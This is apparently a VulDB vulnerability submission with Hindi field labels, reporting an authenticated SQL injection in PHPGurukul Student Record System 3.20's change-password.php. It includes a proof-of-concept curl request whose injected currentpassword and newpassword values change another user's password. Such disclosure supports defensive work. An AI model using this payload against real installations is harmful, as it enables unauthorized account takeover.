| शीर्षक | PHPgurukul Student Record System Using PHP and MySQL 3.20 SQL Injection |
|---|
| विवरण | My name is inmo Yang, and I am a security researcher. I have identified a vulnerability in Student Record System Using PHP and MySQL, and I would like to request a CVE ID assignment.
Affected Project: Student Record System Using PHP and MySQL
Official Website: https://phpgurukul.com/student-record-system-php/
Affected Versions: v3.20
Vendor contacted: Yes, on 2025-08-21
Patch available: Taking action
Related Code file: change-password.php
Injection parameter: currentpassword, newpassword
Vulnerability Description
This SQL injection vulnerability occurs in Student Record System Using PHP and MySQL version 3.20.
The vulnerability affects the source code of the /change-password.php file.
If an authenticated user injects a malicious SQL query into the currentpassword, newpassword parameters, they can change another user's password Unauthorized.
Impact Assessment
This vulnerability allows an authenticated attacker to manipulate SQL queries during the password change process, potentially leading to:
- Unauthorized password changes for other user accounts
Affected Endpoint : http://127.0.0.1:8888/change-password.php
PoC : curl -i -s -k -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=lg6rlbg3j0f1iaqfdvdvs9c4i3" \
-d "currentpassword=' or id='1' -- -&newpassword=sqli' where id='1' -- -&confirmpassword=test&submit=Change" \
"http://127.0.0.1:8888/change-password.php"
|
|---|
| स्रोत | ⚠️ https://github.com/simyat/CVE/blob/main/SQL%20Injection%20in%20Student%20Record%20System%20Using%20PHP%20and%20MySQL%20v3.20.md |
|---|
| उपयोगकर्ता | inmoyang (UID 89515) |
|---|
| सबमिशन | 28/08/2025 07:43 PM (1 वर्ष पहले) |
|---|
| संयम | 03/09/2025 01:45 PM (6 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 306510 [PHPGurukul Student Record System 3.20 /change-password.php currentpassword SQL इंजेक्शन] |
|---|
| अंक | 0 |
|---|